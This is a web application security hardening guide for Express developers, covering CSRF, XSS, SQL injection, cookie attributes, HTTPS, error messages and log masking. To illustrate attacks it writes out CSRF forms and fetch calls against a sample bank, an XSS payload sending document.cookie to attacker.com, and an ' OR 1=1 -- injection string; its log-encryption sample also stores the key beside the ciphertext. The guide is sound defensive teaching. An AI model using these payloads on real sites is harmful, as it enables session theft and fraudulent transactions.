Web Application Security Hardening Guide: From CSRF, XSS, and SQL Injection Countermeasures to Log Management
Introduction
When developing a web application, it is easy to focus on adding features and improving performance, but neglecting security measures will leave you with serious vulnerabilities. Improper security settings can lead to user data leaks and unauthorized access, which may damage user trust.
This article explains in concrete terms the security measures that should be adopted in real-world development environments. It covers practical methods to enhance the safety of web applications, including countermeasures against common attacks such as CSRF, XSS, and SQL Injection, cookie configuration, unifying communication over HTTPS, and proper management of error messages. By applying these measures, you can support the development of secure web applications.
Introducing CSRF Tokens (Proper SameSite Attribute Configuration)
What is CSRF (Cross-Site Request Forgery)?
CSRF (Cross-Site Request Forgery) is an attack in which an attacker exploits a victim’s authenticated session to send malicious requests to the server.
- Forces the user to perform actions they did not intend
- The attacker abuses the user’s authentication information (session)
- Abuses cross-site requests to trigger malicious requests on another site
How CSRF Attacks Work (with a Concrete Example)
Scenario: CSRF Attack on an Online Banking Site
- Preconditions before the attack
- The user is already logged in to online banking (https://bank.example.com).
- After login, the server stores the session ID as a cookie (HttpOnly is not set).
- The user’s account has a transfer function.
- Transfers are processed via HTTP requests.
Transfer API (vulnerable to CSRF)
POST https://bank.example.com/transfer
Content-Type: application/x-www-form-urlencoded
amount=10000&to_account=123456
The server checks the session ID in the cookie and authenticates the request.
-
Attacker’s preparation (3 patterns)
- The attacker places a malicious HTML form on their own site (https://evil.example.com).
<form id="csrf-form" action="https://bank.example.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000"> <input type="hidden" name="to_account" value="999999"> <input type="submit" value="Click Here!"> </form> <script> document.getElementById('csrf-form').submit(); </script> - Use an
<img>tag to send aGETrequest<img src="https://bank.example.com/transfer?amount=10000&to_account=999999"> - Use
fetch()to send an asynchronous request<script> fetch("https://bank.example.com/transfer", { method: "POST", credentials: "include", // Automatically send cookies headers: { "Content-Type": "application/x-www-form-urlencoded", }, body: "amount=10000&to_account=999999", }); </script>
- The attacker places a malicious HTML form on their own site (https://evil.example.com).
-
Luring the user
- While still logged in to the banking site, the user opens https://evil.example.com in another tab.
- As soon as the evil.com page is opened, a malicious request is sent to the banking site via the <form> or <img>.
-
Behavior of the banking server
- Since the user is logged in, the server uses the session information contained in the cookie and mistakenly recognizes the request as coming from the legitimate user.
- 10,000 yen is transferred to the attacker’s account (999999).
Why Does CSRF Succeed?
CSRF succeeds mainly because browsers automatically send cookies.
- The browser sends cookies even for requests from a different origin
- For example, when sending a request from
https://evil.example.comtohttps://bank.example.com, cookies are sent if the user is logged in. - This is particularly dangerous when the banking site’s cookies are configured with
SameSite=None.
- For example, when sending a request from
- The request does not require the user’s intent
- Even if the user does not submit a form, requests can be sent using
<img>or<script>, etc.
- Even if the user does not submit a form, requests can be sent using
- The server does not verify whether the request’s origin is legitimate
- The banking site does not check the request’s “origin” and authenticates only based on cookie information.
Impact of CSRF
CSRF attacks are particularly dangerous on the following types of sites. For example, in an admin panel, CSRF can cause an administrator to send malicious requests, leading to risks such as privilege changes or user deletion.
| Type of site | Impact of CSRF attack |
|---|---|
| Internet banking | Unauthorized transfers from accounts |
| E-commerce sites | User payment information is changed or purchases are made without consent |
| SNS / bulletin boards | Posts or comments are made without the user’s consent |
| Corporate admin panels | Employee accounts may be deleted or settings changed |
CSRF Countermeasures
To prevent CSRF attacks, the following countermeasures must be implemented.
| Countermeasure | Description |
|---|---|
| CSRF token (recommended) | Attach a random token when submitting a form and verify it on the server |
| SameSite cookie configuration | Set SameSite=Lax or Strict to prevent cookies from being sent in cross-site contexts |
| Checking Referer / Origin headers | Check the request’s origin (Referer or Origin) and reject requests from non-legitimate sites |
Use only POST/PUT/DELETE for authenticated APIs |
Do not perform critical operations via GET requests |
| Strict CORS configuration | Allow only trusted origins |
Below are concrete implementation methods.
CSRF Tokens
A CSRF token is a random token generated and verified by the server when a form is submitted, used to confirm that the user’s request is legitimate.
How Tokens Work
- On the server side
- The server generates a unique CSRF token for each user and embeds it in the page
- The token is sent as a cookie or as a hidden HTML field
- When the form is submitted, the server verifies that the token is included
- On the client side
- The client includes the CSRF token in forms or AJAX requests
- JavaScript can also add the CSRF token to HTTP request
headers
Implementation Using Express + csurf
In an Express environment, you can introduce CSRF protection using the csurf middleware.
import express from 'express';
import csrf from 'csurf';
import cookieParser from 'cookie-parser';
const app = express();
// Middleware to use cookies
app.use(cookieParser());
// Apply CSRF middleware (store CSRF token in a cookie)
app.use(csrf({ cookie: true }));
// Endpoint to send CSRF token to the client
app.get('/csrf-token', (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// CSRF token verification when submitting a form
app.post('/submit', (req, res) => {
res.send('Form submitted successfully');
});
app.listen(3000, () => console.log('Server running on http://localhost:3000'));
On the client side, add the obtained CSRF token to the request header when sending the request.
async function submitForm(data) {
const csrfRes = await fetch('/csrf-token');
const { csrfToken } = await csrfRes.json();
await fetch('/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify(data),
});
}
Configuring SameSite Cookies
Most CSRF attacks exploit requests from different origins (domains).
To prevent this, it is important to configure the SameSite attribute of cookies appropriately.
SameSite Attribute Options
SameSite=Strict- Completely rejects cross-site requests
- Cookies are not sent for requests from other sites
- Disadvantage: Inconvenient for cases where inter-site integration is needed (e.g., access from external links)
SameSite=Lax(recommended)- Allowed for basic navigation
- Cookies are sent for cross-site GET requests
- Cookies are not sent for POST and other requests, making it effective as a CSRF countermeasure
SameSite=None; Secure- Use when full cross-site support is required
- Cookies are sent with all requests, but HTTPS is mandatory
- Disadvantage: Harder to ensure safety and must be combined with proper CSRF countermeasures
Configuration in Express
To apply the SameSite attribute to cookies, configure it appropriately using cookie-session or cookie-parser.
import session from 'cookie-session';
app.use(
session({
name: 'session',
keys: ['secret_key'],
cookie: {
secure: true, // HTTPS only
httpOnly: true, // Not accessible from JavaScript
sameSite: 'lax', // Appropriate as a CSRF countermeasure
},
})
);
Checking Referer / Origin Headers
app.use((req, res, next) => {
const allowedOrigins = ['https://example.com'];
const origin = req.get('Origin') || req.get('Referer');
if (!origin || !allowedOrigins.includes(new URL(origin).origin)) {
return res.status(403).send('Forbidden');
}
next();
});
Key points
- Verify on the server side whether the request’s
OriginorRefereris legitimate - Also effective against security risks other than CSRF
Strict CORS Configuration
import cors from 'cors';
app.use(
cors({
origin: 'https://example.com', // Allowed origin
credentials: true, // Allow cookies to be sent
})
);
- Allow only trusted origins
- When using cookies, set
credentials: includeon the client side
Introducing DOMPurify and helmet as XSS Countermeasures
What is XSS (Cross-Site Scripting)?
XSS (Cross-Site Scripting) is an attack method in which an attacker injects malicious scripts into an application and executes them in the user’s browser. There are mainly three types:
- Reflected XSS
The attacker embeds a malicious script in a specific URL, and when the user accesses that URL, the script is executed. - Stored XSS
The malicious script is stored in a database, etc., and is delivered to multiple users through the application.
Concrete Example of Reflected XSS
Preconditions
A web app (a site without XSS countermeasures) has a “search function” that receives the search keyword via a URL parameter and displays it as-is.
However, because proper escaping is not performed, there is a vulnerability that allows scripts to be injected.
1. The attacker creates a malicious URL
The attacker creates a URL with an embedded script for the site that has a search function.
Normal search URL
https://example.com/search?q=car
URL crafted by the attacker
https://example.com/search?q=<script>alert('XSS attack succeeded!');</script>
2. The attacker sends the URL to the victim
The attacker tricks the victim into clicking the URL using methods such as:
- Sending it via SNS or email disguised as “Here’s a great deal!”
- Posting “Check out this site!” on a bulletin board or in a comment section
- Hiding the URL using a URL shortener (such as bit.ly)
3. The victim opens the URL
When the victim is tricked into opening the URL, the web app embeds the request parameter directly into the HTML, causing the malicious script to execute.
const urlParams = new URLSearchParams(window.location.search);
const searchQuery = urlParams.get("q");
// Vulnerable here! The script is embedded into the HTML as-is!
document.write(`<h1>Search results: ${searchQuery}</h1>`);
Victim’s screen (actual HTML displayed)
<h1>Search results: <script>alert('XSS attack succeeded!');</script></h1>
If it only displays an alert, there is no concrete damage, but in reality, malicious scripts may be embedded that send cookies (session information) to the attacker’s server.
In that case, simply opening the URL will send the cookie to the attacker, who can then use that cookie to impersonate the victim and hijack their logged-in session.
Concrete Example of Stored XSS
Stored XSS is a method in which a malicious script is stored in a database and executed whenever other users access the page.
Once the attacker sets it up, the script is executed every time a victim views the page, making it more dangerous than reflected XSS.
Preconditions
There is a vulnerable bulletin board (comment section) that saves the posted content directly to the DB and displays it as-is when requested.
document.getElementById('comments').innerHTML = commentFromDB;
1. The attacker posts the following malicious script in the comment section
<script>fetch('https://attacker.com/steal-cookie', {method: 'POST', body: document.cookie});</script>
2. This script is stored in the database.
3. Every time another user opens the bulletin board, the script is executed and the cookie is sent to the attacker’s server.
4. The attacker steals the cookie and hijacks the session.
XSS Countermeasures
- Do not use
innerHTMLordocument.writeconst safeQuery = document.createTextNode(searchQuery); document.getElementById("result").appendChild(safeQuery); - Sanitize using
DOMPurifyimport DOMPurify from 'dompurify'; const safeHTML = DOMPurify.sanitize(searchQuery); document.getElementById("result").innerHTML = safeHTML; - Configure
Content Security Policy (CSP)
When configuring withExpressapp.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"] }, }));
Detailed Explanation of CSP
helmet.contentSecurityPolicy() is helmet middleware used to configure the Content Security Policy (CSP) security header.
CSP is a mechanism to prevent XSS (Cross-Site Scripting) attacks by restricting script loading.
Basic Structure of helmet.contentSecurityPolicy()
helmet.contentSecurityPolicy() allows you to finely control which resources are allowed by specifying directives.
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}));
defaultSrc
defaultSrc: ["'self'"],
- This specifies the default policy applied to all resources (scripts, images, CSS, fonts, etc.).
"'self'"means only resources from the same origin (your own domain) are allowed.
<!-- ✅ Allowed (same origin) -->
<img src="/images/logo.png">
<script src="/js/app.js"></script>
<!-- ❌ Not allowed (external site) -->
<img src="https://cdn.example.com/logo.png">
<script src="https://malicious-site.com/hack.js"></script>
By configuring it this way, you can prevent requests from being sent to malicious sites.
scriptSrc
scriptSrc: ["'self'"]
- This is the policy that restricts loading of JavaScript (
<script>tags) - Specifying
"'self'"allows only scripts within your own site (origin) to run. - External CDNs and inline scripts are disallowed by default!
<!-- ✅ Allowed (scripts from your own site) -->
<script src="/js/main.js"></script>
<!-- ❌ Not allowed (scripts from external sites) -->
<script src="https://cdn.example.com/framework.js"></script>
<!-- ❌ Not allowed (inline scripts) -->
<script>alert('XSS attack');</script>
As with defaultSrc above, configuring it this way prevents requests from being sent to malicious sites.
How to Allow External Resources
In real projects, you may use external resources such as Google Fonts or CDNs. In such cases, you can slightly relax CSP to allow specific external domains.
Example) Allowing Google Fonts
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
styleSrc: ["'self'", "https://fonts.googleapis.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"]
}
}));
Resources allowed by this configuration
<link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">
How to Collect CSP Reports
When scripts are blocked due to CSP, you can send that information to the server.
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
reportUri: "/csp-report"
}
}));
By preparing a /csp-report endpoint on the server side and logging error information, you can identify which scripts were blocked.
Applying ORMs (Prisma, TypeORM) to Prevent SQL Injection
SQL Injection is an attack method that abuses SQL queries to manipulate the database illegally. Attackers can manipulate SQL queries to retrieve, tamper with, or delete unintended data.
Using an ORM (Object-Relational Mapping) can reduce the risk of SQL Injection. In particular, ORMs such as Prisma and TypeORM automatically apply safe queries using placeholders (bind parameters), making data operations more secure than writing raw SQL directly.
Example of a Dangerous SQL Query
When executing SQL queries directly, if an attacker inputs something like OR 1=1, the WHERE clause always becomes true, potentially returning all user information from the database.
const userInput = "' OR 1=1 --";
const query = `SELECT * FROM users WHERE email = '${userInput}'`;
SQL Injection Countermeasures Using ORMs
By using an ORM, you can avoid constructing raw SQL directly and instead use placeholders (bind parameters) to prevent SQL Injection.
With Prisma
const user = await prisma.user.findUnique({
where: { email: inputEmail }
});
When this code is executed, Prisma sends a query to the database using placeholders.
Internally, it is converted into a bound query like the following:
SELECT * FROM users WHERE email = ?;
The ? part is bound with a safely escaped value of inputEmail.
In other words, even if inputEmail contains a malicious string such as "' OR 1=1 --", the database treats it as a plain string and does not interpret it as malicious SQL code.
With TypeORM
const user = await userRepository.findOne({ where: { email: inputEmail } });
TypeORM similarly generates safe SQL internally.
In practice, a placeholder query like the following is executed:
SELECT * FROM users WHERE email = ?;
Input Validation (Using Zod / Yup)
By implementing input validation properly, you can prevent invalid data from entering the system and maintain both security and data integrity.
Zod and Yup are widely used for validating form and API data on both the frontend and backend.
Validation Using Zod
Characteristics
- Maximizes TypeScript’s type safety
- Using the
parse()method allows you to perform type inference and validation simultaneously - Using the
safeParse()method lets you obtain results without throwing exceptions on error - Easy to combine and extend (simple to define custom validations)
import { z } from 'zod';
const userSchema = z.object({
email: z.string().email(),
password: z.string().min(8),
});
// Validate input data
const userInput = { email: "test@example.com", password: "password123" };
userSchema.parse(userInput); // No error if validation succeeds
Validation Using Yup
Characteristics
- Easier to integrate with
React Hook FormthanZod - Can perform asynchronous validation using the
.validate()method - Can add custom validation using the
.test()method - Fields are not required unless
.required()is explicitly specified (difference from Zod)
import * as yup from 'yup';
const schema = yup.object({
email: yup.string().email().required(),
password: yup.string().min(8).required(),
});
// Validate input data
const userInput = { email: "test@example.com", password: "password123" };
schema.validate(userInput)
.then(() => console.log("Validation succeeded"))
.catch(err => console.log(err.errors)); // On validation error
Configuring Secure / HttpOnly Cookie Attributes
To strengthen the security of web applications, it is extremely important to configure the Secure and HttpOnly attributes of cookies appropriately. Properly configuring these attributes reduces the risk of cookie theft and misuse.
Secure Attribute
When the Secure attribute is set, cookies are sent only over HTTPS (encrypted communication).
Cookies are not sent over HTTP (unencrypted communication), which prevents cookie eavesdropping via man-in-the-middle (MITM) attacks.
Why It Is Necessary
- Without HTTPS, there is a risk that cookie contents will be eavesdropped.
- Reduces the risk of session hijacking.
- Protects authentication information (such as session IDs) contained in cookies.
Example of Secure configuration in Express
res.cookie('session_id', 'your-session-value', {
secure: true, // Sent only over HTTPS
httpOnly: true, // Disallow access from JavaScript
sameSite: 'Strict', // CSRF countermeasure
path: '/',
});
HttpOnly Attribute
When the HttpOnly attribute is set, JavaScript (such as document.cookie) cannot be used to obtain the cookie’s value.
Why It Is Necessary
- Prevents XSS (Cross-Site Scripting) attacks
- In XSS attacks, malicious JavaScript can be executed to steal cookie information.
- Setting
HttpOnlyprevents attackers from reading cookies usingdocument.cookie.
- Safely protects user session information
- Prevents cookies containing authentication information (such as session IDs) from being stolen.
Unifying Communication Between Client and Server Over HTTPS
HTTP communication carries risks of eavesdropping, tampering, and impersonation, so it is standard practice for web applications to unify all communication over HTTPS.
This strengthens security and also contributes to improved SEO rankings.
Obtain an SSL/TLS Certificate
To enable HTTPS, you must first obtain an SSL/TLS certificate.
Certificates can be obtained in the following ways:
- Free certificates
- Let’s Encrypt (free, supports automatic renewal)
- Cloudflare (HTTPS via CDN)
- Paid certificates
- AWS Certificate Manager (ACM) (used with AWS ELB, CloudFront)
- Various paid SSL services (DigiCert, GlobalSign, etc.)
Let’s Encrypt certificates can be easily obtained using Certbot.
Running this command automatically updates the Nginx configuration and enables HTTPS.
sudo apt update && sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d example.com -d www.example.com
Enabling HTTPS on the Web Server (Nginx)
server {
listen 443 ssl;
server_name example.com www.example.com;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
location / {
root /var/www/html;
index index.html index.htm;
}
}
Specify the certificates obtained from Let’s Encrypt in ssl_certificate and ssl_certificate_key.
Redirecting from HTTP to HTTPS
To unify everything under HTTPS, automatically redirect HTTP access to HTTPS.
server {
listen 80;
server_name example.com www.example.com;
return 301 https://$host$request_uri;
}
With this configuration, accessing HTTP (http://example.com) will automatically redirect to HTTPS (https://example.com).
Proper Control of Error Messages (Do Not Disclose Detailed Information)
If error messages contain detailed internal system information (e.g., database error codes, stack traces, versions of libraries used), they may become useful information for attackers.
For example, if SQL errors are displayed as-is, attackers may infer the type of database and authentication method, which can become a foothold for unauthorized access.
Key points
- For users: Display only information that allows users to respond appropriately (e.g., “Please check your input.”)
- For internal use (logs): Record detailed information necessary for debugging only in server-side logs
- Avoid security risks: Do not display SQL errors or stack traces directly
Example of an Inappropriate Error Message
SQLSTATE[28000]: Invalid authorization specification: 1045 Access denied for user 'admin'@'localhost'
Problems
- Detailed authentication error is leaked
- Username 'admin' becomes known
- Database type (SQLSTATE) and error code are revealed to the attacker
Example of an Appropriate Error Message
Authentication failed. Please check your username or password.
Reasons
- Conveys only information that is easy for the user to act on
- No internal information is leaked
- Does not provide useful information to attackers
Error Handling Implementation in Express.js
import { Request, Response, NextFunction } from 'express';
// Error handling middleware
const errorHandler = (err: Error, req: Request, res: Response, next: NextFunction) => {
console.error(err.stack); // Record details in server-side logs
res.status(500).json({
message: 'An internal error has occurred.'
});
};
export default errorHandler;
Register this errorHandler as middleware in app.ts or server.ts.
import express from 'express';
import errorHandler from './middlewares/errorHandler';
const app = express();
// Route definition (example)
app.get('/', (req, res) => {
throw new Error('Test error'); // Force an error
});
// Register error handling middleware (must be last)
app.use(errorHandler);
const PORT = 3000;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
Key points
- Specify the
Errortype and ensure errors are handled in the error handler - Record internal logs with
console.error(err.stack);(in production, you may use a logger) - Hide details from users with
res.status(500).json({ message: 'An internal error has occurred.' }); - Register
app.use(errorHandler);as middleware after route definitions
Distinguishing Between User Errors (4xx) and Server Errors (5xx)
First, create an AppError class to manage error types (HTTP status codes).
class AppError extends Error {
public statusCode: number;
constructor(message: string, statusCode: number) {
super(message);
this.statusCode = statusCode;
Object.setPrototypeOf(this, new.target.prototype); // Properly set the prototype chain
}
}
export default AppError;
This AppError class is for custom error handling. It extends the standard Error class and adds an extra property (statusCode) to manage HTTP status codes.
Next, if the error is an instance of AppError, treat it as a user error (4xx); otherwise, treat it as a server error (5xx) and handle it appropriately.
import { Request, Response, NextFunction } from 'express';
import AppError from '../utils/AppError';
const errorHandler = (err: Error, req: Request, res: Response, next: NextFunction) => {
console.error(err.stack); // Record the error in server-side logs
// If the error is an instance of AppError, use its status code
const statusCode = err instanceof AppError ? err.statusCode : 500;
const message =
statusCode >= 500 ? 'An internal error has occurred.' : err.message;
res.status(statusCode).json({ message });
};
export default errorHandler;
Proper Log Management (Filtering Out Sensitive Information)
You must ensure that logs do not contain users’ personal information or authentication information. Proper log management reduces security risks and helps meet compliance requirements.
Basic Policy for Log Management
- Information that should be recorded
- System errors and exception information
Example: API response errors, database connection errors, etc. - Overview of user actions (excluding sensitive information)
Example: User viewed a specific page, changed settings, etc. - System status
Example: Server startup/shutdown, status of specific jobs
- System errors and exception information
- Information that must not be recorded
- Passwords and authentication information
- Credit card information and personal information (name, email address, etc.)
- OAuth tokens and session IDs
- Confidential data (contents of confidential documents, personal financial information, etc.)
Using Winston (Node.js Logging Library)
To avoid including sensitive information in logs, introduce a custom format and mask data before outputting it to logs.
import winston from 'winston';
// Keys that may contain sensitive information
const sensitiveFields = ['password', 'creditCard', 'token'];
const maskSensitiveData = (info: Record<string, any>): Record<string, any> => {
const maskedInfo = { ...info };
for (const field of sensitiveFields) {
if (maskedInfo[field]) {
maskedInfo[field] = '***REDACTED***';
}
}
return maskedInfo;
};
// Winston custom format
const filterSensitiveData = winston.format((info) => {
return maskSensitiveData(info);
});
const logger = winston.createLogger({
level: 'info',
format: winston.format.combine(
filterSensitiveData(),
winston.format.timestamp(),
winston.format.json()
),
transports: [new winston.transports.Console()],
});
// Sample log
logger.info('User registration', { email: 'user@example.com', password: 'securepassword123' });
Example output
{
"level": "info",
"message": "User registration",
"email": "user@example.com",
"password": "***REDACTED***",
"timestamp": "2025-03-12T12:00:00.000Z"
}
Proper Configuration of Log Levels
It is important to configure appropriate log levels for development and production environments so that detailed debug information does not leak in production.
const logger = winston.createLogger({
level: process.env.NODE_ENV === 'production' ? 'warn' : 'debug',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'app.log', level: 'info' }),
new winston.transports.Console(),
],
});
// Example log output
logger.debug('Debug info: value of variable x', { x: 42 });
logger.warn('Warning: API response is slow');
logger.error('Fatal error: Failed to connect to DB');
Key points
- Development environment: Record detailed information at the
debuglevel - Production environment: Record only
warnanderrorto prevent log bloat
Encrypting Logs
You may also consider encrypting logs so that sensitive data remains safe even if logs are leaked externally.
import crypto from 'crypto';
import fs from 'fs';
const encryptLog = (logMessage: string): string => {
const algorithm = 'aes-256-cbc';
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(algorithm, key, iv);
let encrypted = cipher.update(logMessage, 'utf8', 'hex');
encrypted += cipher.final('hex');
return JSON.stringify({ encrypted, key: key.toString('hex'), iv: iv.toString('hex') });
};
// Encrypt and save log
const logData = 'Log message containing sensitive information';
const encryptedLog = encryptLog(logData);
fs.writeFileSync('secure-log.json', encryptedLog);
Introducing Security Scanning Tools (OWASP ZAP, SonarQube)
To strengthen application security, it is effective to apply both static analysis (SAST) and dynamic analysis (DAST). This section explains in detail how to introduce, configure, and use OWASP ZAP (DAST) and SonarQube (SAST).
OWASP ZAP (Dynamic Security Testing)
OWASP ZAP (Zed Attack Proxy) is a dynamic analysis tool (DAST) that performs security scans on running web applications. It mainly provides the following features:
- Automated scanning: Detects common vulnerabilities in applications without prior configuration
- Manual testing: Allows developers and security engineers to manually test specific pages and input fields
- Vulnerability detection:
- SQL Injection
- Cross-Site Scripting (XSS)
- CSRF (Cross-Site Request Forgery)
- Directory traversal
- Missing security headers
Running with Docker (GUI Version)
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap-webswing.sh
After running, access the following URL:
http://localhost:8080
SonarQube (Static Code Analysis)
SonarQube is a static analysis tool (SAST) that analyzes code quality and security, detecting issues such as:
- Security risks
- SQL Injection
- Hard-coded credentials
- OS command injection
- Missing security-related headers
- Code quality
- Duplicate code
- Overly complex functions
- Unused variables
- Lint errors
- Supports languages such as TypeScript, JavaScript, Java, Python, etc.
Setting Up SonarQube (Using Docker)
docker run -d --name sonarqube -p 9000:9000 sonarqube
After running, access the following URL:
http://localhost:9000
Conclusion
Security measures for web applications are not something you can implement once and forget; they require continuous review and improvement. As new threats emerge every day, regular code reviews and security scans are essential to maintain appropriate security measures.
By adopting the countermeasures introduced in this article, you can prevent many common attacks, but security can never be “100% perfect.” Continuously keeping up with the latest information and raising security awareness across the entire development team are key to consistently providing secure web applications.
Let’s build secure applications while maintaining development speed and implementing appropriate security measures.
Questions about this article 📝
If you have any questions or feedback about the content, please feel free to contact us.Go to inquiry form
Related Articles
Robust Authorization Design for GraphQL and REST APIs: Best Practices for RBAC, ABAC, and OAuth 2.0
2024/05/13Complete Cache Strategy Guide: Maximizing Performance with CDN, Redis, and API Optimization
2024/03/07Chat App (with Image/PDF Sending and Video Call Features)
2024/07/15How to Easily Build a Web API with Express and MongoDB [TypeScript Compatible]
2024/12/09Express (+ TypeScript) Beginner’s Guide: How to Quickly Build Web Applications
2024/12/07Complete Guide to Refactoring React: Improve Your Code with Modularization, Render Optimization, and Design Patterns
2025/01/13Management Dashboard Features (Graph Display, Data Import)
2024/06/02Cloud Security Measures in Practice with AWS & GCP: Optimizing WAF Configuration, DDoS Protection, and Access Control
2024/04/02